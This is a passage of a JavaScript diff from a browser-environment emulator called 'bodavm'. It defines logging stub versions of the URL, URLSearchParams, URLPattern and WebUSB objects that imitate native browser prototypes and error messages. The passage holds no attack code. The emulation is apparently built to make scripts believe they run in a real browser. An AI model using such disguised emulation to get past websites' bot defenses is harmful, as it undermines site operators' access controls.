+bodavm.toolsFunc.defineProperty('URL', "password", { + configurable: true, + enumerable: true, + get: function password() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "password_get", arguments); + }, + set: function password() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "password_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "host", { + configurable: true, + enumerable: true, + get: function host() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "host_get", arguments); + }, + set: function host() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "host_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "hostname", { + configurable: true, + enumerable: true, + get: function hostname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "hostname_get", arguments); + }, + set: function hostname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "hostname_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "port_get", arguments); + }, + set: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "port_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "pathname", { + configurable: true, + enumerable: true, + get: function pathname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "pathname_get", arguments); + }, + set: function pathname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "pathname_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "search", { + configurable: true, + enumerable: true, + get: function search() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "search_get", arguments); + }, + set: function search() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "search_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "searchParams", { + configurable: true, + enumerable: true, + get: function searchParams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "searchParams_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "hash", { + configurable: true, + enumerable: true, + get: function hash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "hash_get", arguments); + }, + set: function hash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "hash_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "href_get", arguments); + }, + set: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "href_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "toString", arguments); + } +}, 'prototype'); +// URLPattern对象 + +bodavm.memory.globalobj['URLPattern'] = function URLPattern() { + console.log_copy('URLPattern 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.URLPattern(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['URLPattern'], "URLPattern"); +bodavm.toolsFunc.defineProperty('URLPattern', "protocol", { + configurable: true, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "protocol_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "username", { + configurable: true, + enumerable: true, + get: function username() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "username_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "password", { + configurable: true, + enumerable: true, + get: function password() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "password_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "hostname", { + configurable: true, + enumerable: true, + get: function hostname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "hostname_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "port_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "pathname", { + configurable: true, + enumerable: true, + get: function pathname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "pathname_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "search", { + configurable: true, + enumerable: true, + get: function search() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "search_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "hash", { + configurable: true, + enumerable: true, + get: function hash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "hash_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "exec", { + configurable: true, + enumerable: true, + writable: true, + value: function exec() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "exec", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "test", { + configurable: true, + enumerable: true, + writable: true, + value: function test() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "test", arguments); + } +}, 'prototype'); +// URLSearchParams对象 + +bodavm.memory.globalobj['URLSearchParams'] = function URLSearchParams() { + console.log_copy('URLSearchParams 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.URLSearchParams(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['URLSearchParams'], "URLSearchParams"); +bodavm.toolsFunc.defineProperty('URLSearchParams', "append", { + configurable: true, + enumerable: true, + writable: true, + value: function append() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "append", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "getAll", { + configurable: true, + enumerable: true, + writable: true, + value: function getAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "getAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "set", { + configurable: true, + enumerable: true, + writable: true, + value: function set() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "sort", { + configurable: true, + enumerable: true, + writable: true, + value: function sort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "sort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "toString", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "values", arguments); + } +}, 'prototype'); +// USB对象 + +bodavm.memory.globalobj['USB'] = function USB() { + console.log_copy('USB 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USB)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USB'], "USB"); +bodavm.memory.globalobj['USB'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['USB'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('USB', "onconnect", { + configurable: true, + enumerable: true, + get: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "onconnect_get", arguments); + }, + set: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "onconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USB', "ondisconnect", { + configurable: true, + enumerable: true, + get: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "ondisconnect_get", arguments); + }, + set: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "ondisconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USB', "getDevices", { + configurable: true, + enumerable: true, + writable: true, + value: function getDevices() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "getDevices", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USB', "requestDevice", { + configurable: true, + enumerable: true, + writable: true, + value: function requestDevice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "requestDevice", arguments); + } +}, 'prototype'); +// USBAlternateInterface对象 + +bodavm.memory.globalobj['USBAlternateInterface'] = function USBAlternateInterface() { + console.log_copy('USBAlternateInterface 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBAlternateInterface)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBAlternateInterface': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBAlternateInterface'], "USBAlternateInterface"); +bodavm.toolsFunc.defineProperty('USBAlternateInterface', "alternateSetting", { + configurable: true, + enumerable: true, + get: function alternateSetting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "alternateSetting_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBAlternateInterface', "interfaceClass", { + configurable: true, + enumerable: true, + get: function interfaceClass() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "interfaceClass_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBAlternateInterface', "interfaceSubclass", { + configurable: true, + enumerable: true, + get: function interfaceSubclass() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "interfaceSubclass_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBAlternateInterface', "interfaceProtocol", { + configurable: true, + enumerable: true, + get: function interfaceProtocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "interfaceProtocol_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBAlternateInterface', "interfaceName", { + configurable: true, + enumerable: true, + get: function interfaceName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "interfaceName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBAlternateInterface', "endpoints", { + configurable: true, + enumerable: true, + get: function endpoints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "endpoints_get", arguments); + }, + set: undefined +}, 'prototype'); +// USBConfiguration对象 + +bodavm.memory.globalobj['USBConfiguration'] = function USBConfiguration() { + console.log_copy('USBConfiguration 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBConfiguration)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBConfiguration': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBConfiguration'], "USBConfiguration"); +bodavm.toolsFunc.defineProperty('USBConfiguration', "configurationValue", { + configurable: true, + enumerable: true, + get: function configurationValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBConfiguration'].prototype, "USBConfiguration", "configurationValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBConfiguration', "configurationName", { + configurable: true, + enumerable: true, + get: function configurationName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBConfiguration'].prototype, "USBConfiguration", "configurationName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBConfiguration', "interfaces", { + configurable: true, + enumerable: true, + get: function interfaces() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBConfiguration'].prototype, "USBConfiguration", "interfaces_get", arguments); + }, + set: undefined +}, 'prototype'); +// USBConnectionEvent对象 + +bodavm.memory.globalobj['USBConnectionEvent'] = function USBConnectionEvent() { + console.log_copy('USBConnectionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBConnectionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBConnectionEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBConnectionEvent'], "USBConnectionEvent"); +bodavm.memory.globalobj['USBConnectionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['USBConnectionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('USBConnectionEvent', "device", { + configurable: true, + enumerable: true, + get: function device() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBConnectionEvent'].prototype, "USBConnectionEvent", "device_get", arguments); + }, + set: undefined +}, 'prototype'); +// USBDevice对象 + +bodavm.memory.globalobj['USBDevice'] = function USBDevice() { + console.log_copy('USBDevice 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBDevice)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBDevice'], "USBDevice"); +bodavm.toolsFunc.defineProperty('USBDevice', "usbVersionMajor", { + configurable: true, + enumerable: true, + get: function usbVersionMajor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "usbVersionMajor_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "usbVersionMinor", { + configurable: true, + enumerable: true, + get: function usbVersionMinor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "usbVersionMinor_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "usbVersionSubminor", { + configurable: true, + enumerable: true, + get: function usbVersionSubminor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "usbVersionSubminor_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "deviceClass", { + configurable: true, + enumerable: true, + get: function deviceClass() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceClass_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "deviceSubclass", { + configurable: true, + enumerable: true, + get: function deviceSubclass() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceSubclass_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "deviceProtocol", { + configurable: true, + enumerable: true, + get: function deviceProtocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceProtocol_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "vendorId", { + configurable: true, + enumerable: true, + get: function vendorId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "vendorId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "productId", { + configurable: true, + enumerable: true, + get: function productId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "productId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "deviceVersionMajor", { + configurable: true, + enumerable: true, + get: function deviceVersionMajor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceVersionMajor_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "deviceVersionMinor", { + configurable: true, + enumerable: true, + get: function deviceVersionMinor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceVersionMinor_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "deviceVersionSubminor", { + configurable: true, + enumerable: true, + get: function deviceVersionSubminor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceVersionSubminor_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "manufacturerName", { + configurable: true, + enumerable: true, + get: function manufacturerName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "manufacturerName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "productName", { + configurable: true, + enumerable: true, + get: function productName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "productName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "serialNumber", { + configurable: true, + enumerable: true, + get: function serialNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "serialNumber_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "configuration", { + configurable: true, + enumerable: true, + get: function configuration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "configuration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "configurations", { + configurable: true, + enumerable: true, + get: function configurations() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "configurations_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "opened", { + configurable: true, + enumerable: true, + get: function opened() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "opened_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "claimInterface", { + configurable: true, + enumerable: true, + writable: true, + value: function claimInterface() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "claimInterface", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "clearHalt", { + configurable: true, + enumerable: true, + writable: true, + value: function clearHalt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "clearHalt", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "controlTransferIn", { + configurable: true, + enumerable: true, + writable: true, + value: function controlTransferIn() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "controlTransferIn", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "controlTransferOut", { + configurable: true, + enumerable: true, + writable: true, + value: function controlTransferOut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "controlTransferOut", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "forget", { + configurable: true, + enumerable: true, + writable: true, + value: function forget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "forget", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "isochronousTransferIn", { + configurable: true, + enumerable: true, + writable: true, + value: function isochronousTransferIn() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "isochronousTransferIn", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "isochronousTransferOut", { + configurable: true, + enumerable: true, + writable: true, + value: function isochronousTransferOut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "isochronousTransferOut", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "open", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "releaseInterface", { + configurable: true, + enumerable: true, + writable: true, + value: function releaseInterface() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "releaseInterface", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "selectAlternateInterface", { + configurable: true, + enumerable: true, + writable: true, + value: function selectAlternateInterface() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "selectAlternateInterface", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "selectConfiguration", { + configurable: true, + enumerable: true, + writable: true, + value: function selectConfiguration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "selectConfiguration", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "transferIn", { + configurable: true, + enumerable: true, + writable: true, + value: function transferIn() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "transferIn", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "transferOut", { + configurable: true, + enumerable: true, + writable: true, + value: function transferOut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "transferOut", arguments); + } +}, 'prototype'); +// USBEndpoint对象 + +bodavm.memory.globalobj['USBEndpoint'] = function USBEndpoint() { + console.log_copy('USBEndpoint 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBEndpoint)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBEndpoint': 3 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBEndpoint'], "USBEndpoint"); +bodavm.toolsFunc.defineProperty('USBEndpoint', "endpointNumber", { + configurable: true, + enumerable: true, + get: function endpointNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBEndpoint'].prototype, "USBEndpoint", "endpointNumber_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBEndpoint', "direction", { + configurable: true, + enumerable: true, + get: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBEndpoint'].prototype, "USBEndpoint", "direction_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBEndpoint', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBEndpoint'].prototype, "USBEndpoint", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBEndpoint', "packetSize", { + configurable: true, + enumerable: true, + get: function packetSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBEndpoint'].prototype, "USBEndpoint", "packetSize_get", arguments); + }, + set: undefined +}, 'prototype'); +// USBInterface对象 + +bodavm.memory.globalobj['USBInterface'] = function USBInterface() { + console.log_copy('USBInterface 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBInterface)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBInterface': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBInterface'], "USBInterface"); +bodavm.toolsFunc.defineProperty('USBInterface', "interfaceNumber", { + configurable: true, + enumerable: true, + get: function interfaceNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInterface'].prototype, "USBInterface", "interfaceNumber_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBInterface', "alternate", { + configurable: true, + enumerable: true, + get: function alternate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInterface'].prototype, "USBInterface", "alternate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBInterface', "alternates", { + configurable: true, + enumerable: true, + get: function alternates() { + return 